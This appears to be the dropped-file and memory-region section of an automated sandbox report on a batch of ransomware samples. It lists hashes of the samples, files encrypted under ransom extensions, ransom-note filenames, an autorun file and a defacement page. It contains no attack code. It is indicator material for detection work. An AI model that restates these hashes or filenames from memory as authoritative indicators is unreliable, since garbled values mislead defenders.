
                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-6f9999a53022f6d22beabb39406e849e3cbbd76e645f2148386ed89fbb94a133.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            7.9MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            8a3dbf822fa4bb781eec4a5a38848414

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            e939f87c0d695159aba1fdecb3b52acab1dd4c71

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6f9999a53022f6d22beabb39406e849e3cbbd76e645f2148386ed89fbb94a133

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            c1a8a37867b598069fa6e565600dbfb3124925a64d95ebec5f09f26c1c153a75cad88061cdd5e42b859fbf048db734b6da239bbed42812006f3b682d7b9be8b6

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-144c5a85c642ef1376771a548acd625f4b980415c55d3acd098964ac7f8d5322.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            13.6MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            df27cceaa63724143e5eb5d2555a0bde

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            7bb35b51d1c02988bbc2fbdd8a5bf3f2a60d23a8

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            144c5a85c642ef1376771a548acd625f4b980415c55d3acd098964ac7f8d5322

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            48093b87d83158cf834c732d4f70bbee571a5a8a90b77377f54831cfa4a1bdbca4f17ce004d2bbd4c7a649bab13a1d2186eaddfe5f64716a3ef678f2e6619abe

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            842KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            353bdef6aa954c63f216ec1a3b6bb324

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            1f1fd79fd72c9caad2fa1114ff26728516e63984

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            77078efe2158ace49f974fa9e2129f3947fea2be313c3cbd973ccb0edefdabb8fdbf759aab34505105dcb512b93d63936c308a05910e4f50cccc20d80c923e59

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win64.Magni.gen-6b48456ec6f186c5fc46d425a05f7f83a3e01955097dd69371e235d60f234ac8.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            e7d02c59c35b7f7ddd42a7e1d859c549

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            09bf0c2e2ab146588702caab09d59ba227510c2d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6b48456ec6f186c5fc46d425a05f7f83a3e01955097dd69371e235d60f234ac8

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            73c987c77e6ad82b8a52722586550d014d99397498dd8e2753dc1f847dff22ac2c8078c5eff9a31832ccfca1c77516c235fde1e4b7813a7ab068a1b52ffd0057

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Cryptodef.aoo-0f44655bda32c5bac1d24c46ae08999072a6aa140470129d13a8bf0686b66f2c.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            69KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            da3dc130d98e26155f67da1087e93b4f

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            6838c5a67d2bf57218e1c37ec6a4a0e7d17c0d41

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            0f44655bda32c5bac1d24c46ae08999072a6aa140470129d13a8bf0686b66f2c

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            533077bd72a5ffd1bc0da8d3a94a25c27b1c8fdabbcc8d89171441e7f7c26171721b051b17085d9ebb9ea261ed5468c6d692ec9f5060740eb2c2da609b263698

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\ApproveConvertFrom.mp3.ccrypt

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            870KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            bafff88147e0ada62995b786022e0ccc

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            17b9a2ec77304cf0080b59afca7b27eb1b81f360

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            b884812210dfc239230fa7611adc9b08fa64604a3ce0f624e61b3f32c0a2bd30

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            cec416bc455a9399d9ed1ddd1bbaed8841b7dbf380168c10fcc9a5d296b28911ff95b1cc9b15d2fb42868818afccce8521ddff6888b324146e1b9a206545b5d8

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\CopyInitialize.mpv2

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.1MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            6455c44eef42c8600bb76950658203c4

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            6b241b3bf8aab2402e7e452b33017244cd2d8fcb

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            3c3276e8552d4be8cb282ec0f3954f275a53f5d8e8aab32b13330a0ef34ecbfc

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            8b0524a6899e3d563d37190e6efa0e6e7afd2cd28226253d654307cec222eb8c37087e7fb94132f18f9aba206c8ac519bfb4be53aee09f4c4030e6f9929c816c

                                                                                                                                                                                                                          • C:\Users\Admin\Downloads\DebugUnprotect.vbs.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            1aad418b929dac072fbef46928e1a45b

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            6f9567f22cc53ef5f7ba04bf702dbee3849ac193

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            1963956b8754cd276b1645fba6f02b4e36d48d784ecfb926def0a2aaf3ac2665

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            75f983e75ac5c3f631b65c9ce5c51b626a747a60885f9ef9a78e0ed55508ca157d912922c949ea449186abb129252de820d5d474c18bb306a02eb895ab24aa44

                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\ResolveStart.pcx.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            128KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            6ced9869692a6a1f18a4d54e98bf11ea

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            292f245f22e86ef2b7b2bde98df39e6bae26468b

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            518f4360e3478d33291eba76e88c4f06f80ef266ff11e564805c7ef20098f84a

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            7db12ad2e03df22b6fb8d017f0ebe7f17e16df9a39538126d35148b9a4f9f62084a873194065b0a343029697745b6f59cca61943ace8aea4375f5111bcd2c389

                                                                                                                                                                                                                          • C:\Users\GET_YOUR_FILES_BACK.txt

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            a6675383ae130914b6cf5ef85023a52f

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            cb370518628104c2f804933c8808150072db9922

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            334cdde2293c659d6b91c72e0a00a63a025580cefcdf393a6d9d70d21bc239ad

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            f0d924cc66a7468bff4b6392fe331e77287d5a5ec3436e4926a711789d009f41b3d6f7c6d6e3efd16400e33a502a258eed1d110024ba6f7ceefaea170d82d741

                                                                                                                                                                                                                          • C:\Users\GET_YOUR_FILES_BACK.txt

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            1c42ab29bfdca32ca30582546eb3fd02

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            14b3ceda60edc55acec5d79dd66210de6d4650c8

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            9f2b1d61443e996ee20caf05953171219a412285070997ae83fcd167ab50efa4

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            b87d14cf60540f906e7dd23f8e8bfb68ae4d3849a0e215e28a8fb20caa1f324746f13e4e136e924e2a3b57e5b9ed28076bddf53394805092d61cd0e05e2fa1ed

                                                                                                                                                                                                                          • C:\Windows\win.ini

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            6KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            7bd45b4353c2eb076cb800af6794c74c

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            8b43110b86ab342a3a50fba1101af23e58afb81f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            46768646ca5a5742bd66e10f807c7d85c06d67f34d01e1da68c0ed585e81c74d

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            a41d292080b01fa6884140f0aab6a9a45310ff8eccf850715d5b373c8aeaf0a57ed060e12475621372876ccf05d64278f89ec9b458d3c1af4cc60b5999f735f3

                                                                                                                                                                                                                          • C:\vcredist2010_x64.log.html.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            86KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            02c1a3fc0c54f09a790ac5bd355f4187

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            b368a7f7ccf70620dd028194d59b8b2473ac1d5e

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            d07b3e96039b20e168adcb7ce6094659c280caca41b86a1214defcd2f255d33d

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            1144195ca65f98576bbaa52e6fafbfb9e10285d926a214b31193e50a46d04dc39420bf2f9e69c44bf12b7028091b5baff832b2098d46c60bab7bb1e7ab61e809

                                                                                                                                                                                                                          • C:\vcredist2010_x86.log.html.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            81KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            3a10e8c0b38483e6cbf27e3a025ed525

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            4b934be4678ec1c96be45eff4738d3795838ab7a

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            341be6bb5a0d1cc6b660f666a44f23b1804322322a19af27647405889a41a595

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            8201fbceb4567cb56c4bd4bfd2a7b9fb1d51501c7d6a929d7b82a1793941b5a2cb9bff0531131fce4638425c9952d9781e54ab7db192ba636f8f0d72f7645b2e

                                                                                                                                                                                                                          • C:\vcredist2012_x64_1_vcRuntimeAdditional_x64.log

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            195KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            875ff38d66cdaba9028185e63f161269

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            93e7487464993df04989b95fe7471c0c865e226d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            2ca59a3319c52392e51876104ab4ee80d553f894bf3b778304bd8158c3e37fb8

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            a27b55f2039b7c059bfb2beba30ca8e6cd16689ea1d23445e4d407b69a6d6f68785850787cb64869c95904440c998361ac2f590338d07fbe9ebee2fee3166a56

                                                                                                                                                                                                                          • C:\vcredist2022_x64_000_vcRuntimeMinimum_x64.log.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            123KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            6ddc8a79c1fd29b7836239083c5a695e

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            9a1f0b7f8dc1488718666bc1095d33ec1b8d0e91

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            98442b92a91559985418fbc9388baae88df58945613a269672b8b1d471f9b5a0

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            f23b24ff503028cca7ee68966258d8773bc2498d0860b8b0066dcb2d7e3213498b98d9d2fb8f89f4755f0be7ac890e78a0e0e728c5932e77e1fc812790f325bd

                                                                                                                                                                                                                          • C:\vcredist2022_x64_001_vcRuntimeAdditional_x64.log.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            130KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            371297a3941e3a4dad1e95a63fd27359

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            ef58512b874ca85f85fef192e8a9246253b11a1f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            e7c253c514f45879547f1e053d27122b7eceaaf0a992d4c23a6190a90aa46775

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            55e94d548c2efee9c5fdfd8ae62179d2c1169685a840b70d19714d68cd793872b77f9c361657bac0b714594aa9c2a5271921306101f9d2a60bc61cb29b579336

                                                                                                                                                                                                                          • C:\vcredist2022_x64_001_vcRuntimeAdditional_x64.log.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            130KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            9fb8e92cdffff8e4b5e2d14d69319cd4

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            61483b79f9abdc640409b236cdbbb07c1e5580ec

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            72a13bdaaec68f0ea196e9ce4e87d7cd3b7026d9e1efe43de1b2318d016c5bfe

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            6303936dfddbe42d4aea4e6a5f6b3abf37710b198dce4a9508a0f287d29bdb96a55adbc7cf1b8514c0b7465240ad98c512cd423c0a6f7667232aa93d92fe83f3

                                                                                                                                                                                                                          • C:\vcredist2022_x86_000_vcRuntimeMinimum_x86.log.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            124KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            497ce5b608867e08a6484357cad43011

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            330a08feea695595bb75c45c3f8c8b98f012c218

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            602b1b048e3f24eed75ac4012835bfbeb9c19a30b384f0774fddd690b20122bc

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            158449672e5fd6c1ffc69614e4fc9cbb7988895329705ac659f4a39a58abb26a4b47c987366ecf49708ab3d6f65d1fb7499ff34121510ffaa141a4746e99efe5

                                                                                                                                                                                                                          • C:\vcredist2022_x86_001_vcRuntimeAdditional_x86.log.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            0df00854060f1e155872f8113b493253

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            16d9731984a59e0a193556a63191cd0f60a8cfae

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            5cbe3c2c87f99eddebc5ca0c96fc230eb914036348bee6f8eda5c099ea95e45a

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            28fdb692a7579176ff0eb1f385aa4b41602daae6a9059e78dbcc553bf9185f4a3c612f487cf51baf7fe99f3a7a6c55d5a13e8002a5e62c4183dfd8c2b34a75f4

                                                                                                                                                                                                                          • F:\AUTORUN.INF

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            145B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            ca13857b2fd3895a39f09d9dde3cca97

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            8b78c5b2ec97c372ebdcef92d14b0998f8dd6dd0

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            cfe448b4506a95b33b529efa88f1ac704d8bdf98a941c065650ead27609318ae

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            55e5b5325968d1e5314527fb2d26012f5aae4a1c38e305417be273400cb1c6d0c22b85bddb501d7a5720a3f53bb5caf6ada8a7894232344c4f6c6ef85d226b47

                                                                                                                                                                                                                          • F:\Depkominfo_Didefaced.htm

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            7605e69eb825f91b53b617d3560794f9

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            05834aa5ca4c4459b9ffb9f4f2827dc50181a48f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            30aa71789cdba1395de5f1c0e38ab2c225e496172dc6d1a8d5547b2fbedbfa19

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            fe5e535fe7c3728b714c83659f61aa8878edd0c8b935beb56e0a425ca4f62db8e08593011e031d6e046075c10424458a8745ddffe41f64786fe0beb27a7d6edc

                                                                                                                                                                                                                          • F:\Depkominfo_Didefaced.htm.redeem.cuba.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            9KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            8c1a1d4b22336b87e3b252ef18ab88da

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            fad4c117614ea3eb5b06d2de63e59ef2aa1617b9

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            ead61cfd5091115184286e2e4670af1f8eeae54b20edd51cc94cfe20d7368d08

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            372eeaf357e9f107d8a2cd635c42015564282b1b96f490f38d25d9b2282448843cfc782e19c67e35d7f993e7baf88bfc2bd75595baa44131a8e3875200ad898e

                                                                                                                                                                                                                          • F:\Program Files\FoxitReader\bin\!! READ ME !!.txt

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            680B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            89922235ddb62c37c3fe46111b53d256

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            82eea022bf46b25d6e51e5278237f11c77a0adaf

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            d440f202373b5cfaef07dbf982f3e034c79159c7839805328e6a07f702f6507f

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            e367a5b4440a800eb733f503fbdb158785111cf86e3f2b7c656290a902c6dee58c6a62f9251bae7730f69632034ffcb0c5b167120a9f51025dfd13adb65d1e44

                                                                                                                                                                                                                          • F:\Program Files\PDF_Reader\PDF_Reader.exe.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            215KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            5ae1d996b1bd05f5a2073dda235c2be4

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            a35293873b9189e829f7a75d0b6828a20e703513

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            58ee81be20719759b65887e0e6c17c2d9136219267ed82cd83bd4eba79c372b3

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            a1106925976e292d175d5ca2671fa27c1bd2efd3b59a883ec4ab76d142ba2c97515d634442e548f05834d30fcb913e09115ef872725267067f8289778ad0bba4

                                                                                                                                                                                                                          • F:\desktop.ini

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            381B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            27fc937830aba762026cbd58a67b555f

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            69ada2ba80a6c1a56721f44f4049942d5d5a5d08

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6270b211fce6dd684b04c7036cdd758ca7ca760c101d1c7811a659fa16d54e8b

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            66a3900d73233147cc0022458d5dd863df02eea276055005534f6751c664b2262a9ad29c3068044efc6e550d9c939f7d1ba16ad6d731e37c28fcc2cec291663e

                                                                                                                                                                                                                          • memory/248-156-0x0000000004CD0000-0x0000000004D6C000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            624KB

                                                                                                                                                                                                                          • memory/248-154-0x0000000000470000-0x0000000000488000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            96KB

                                                                                                                                                                                                                          • memory/492-763-0x0000000000E80000-0x0000000000F7A000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/492-952-0x0000000000E80000-0x0000000000F7A000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/508-787-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/508-583-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/508-579-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/508-1065-0x0000000000400000-0x0000000000537000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                          • memory/628-2801-0x0000000000400000-0x000000000054B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                          • memory/664-925-0x0000000000CF0000-0x0000000000DEA000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/664-2297-0x0000000000CF0000-0x0000000000DEA000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/1096-105-0x000001BDB3390000-0x000001BDB3406000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            472KB

                                                                                                                                                                                                                          • memory/1096-104-0x000001BDB3340000-0x000001BDB3384000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            272KB

                                                                                                                                                                                                                          • memory/1096-103-0x000001BDB23B0000-0x000001BDB23D2000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                          • memory/1636-2292-0x0000000000400000-0x000000000054B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                          • memory/1776-2585-0x0000000000400000-0x000000000054B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                          • memory/1964-788-0x0000000000E80000-0x0000000000F7A000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/1964-924-0x0000000000E80000-0x0000000000F7A000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/2148-185-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                          • memory/2148-168-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                          • memory/2340-149-0x0000000000320000-0x00000000003F4000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            848KB

                                                                                                                                                                                                                          • memory/2380-159-0x0000000004DA0000-0x0000000004DAA000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            40KB

                                                                                                                                                                                                                          • memory/2380-157-0x0000000005200000-0x00000000057A4000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            5.6MB

                                                                                                                                                                                                                          • memory/2380-155-0x00000000003C0000-0x000000000042A000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            424KB

                                                                                                                                                                                                                          • memory/2380-158-0x0000000004CF0000-0x0000000004D82000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            584KB

                                                                                                                                                                                                                          • memory/2864-713-0x00000113B8A40000-0x00000113B8B3A000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/2864-148-0x000001139D7C0000-0x000001139D928000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.4MB

                                                                                                                                                                                                                          • memory/2864-716-0x00000113B7EB0000-0x00000113B7F08000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            352KB

                                                                                                                                                                                                                          • memory/2864-719-0x000001139DE30000-0x000001139DE42000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            72KB

                                                                                                                                                                                                                          • memory/2864-162-0x00000113B7F50000-0x00000113B8050000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1024KB

                                                                                                                                                                                                                          • memory/2864-721-0x00000113BA6E0000-0x00000113BABAC000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4.8MB

                                                                                                                                                                                                                          • memory/3120-494-0x0000000000400000-0x0000000000B4B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            7.3MB

                                                                                                                                                                                                                          • memory/3120-521-0x0000000000400000-0x0000000000B4B000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            7.3MB

                                                                                                                                                                                                                          • memory/3120-495-0x0000000000CC0000-0x0000000000CD7000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            92KB

                                                                                                                                                                                                                          • memory/3404-979-0x0000000000400000-0x0000000000455000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            340KB

                                                                                                                                                                                                                          • memory/3512-170-0x0000000000400000-0x00000000005BB000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.7MB

                                                                                                                                                                                                                          • memory/3512-570-0x0000000000400000-0x00000000005BB000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.7MB

                                                                                                                                                                                                                          • memory/3624-953-0x0000000000CF0000-0x0000000000DEA000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/3624-2294-0x0000000000CF0000-0x0000000000DEA000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1000KB

                                                                                                                                                                                                                          • memory/4008-954-0x0000000000CF0000-0x0000000000D05000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            84KB

                                                                                                                                                                                                                          • memory/4008-956-0x0000000000CF0000-0x0000000000D05000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            84KB

                                                                                                                                                                                                                          • memory/4008-963-0x0000000000CF0000-0x0000000000D05000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            84KB

                                                                                                                                                                                                                          • memory/4044-183-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                          • memory/4044-575-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                          • memory/4120-139-0x00000000005A0000-0x00000000005EE000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            312KB

                                                                                                                                                                                                                          • memory/4652-2768-0x0000000000400000-0x0000000000601000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2.0MB

                                                                                                                                                                                                                          • memory/4860-118-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-119-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-107-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                          • memory/4860-117-0x000001CD437D0000-0x000001CD437D1000-memory.dmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4KB

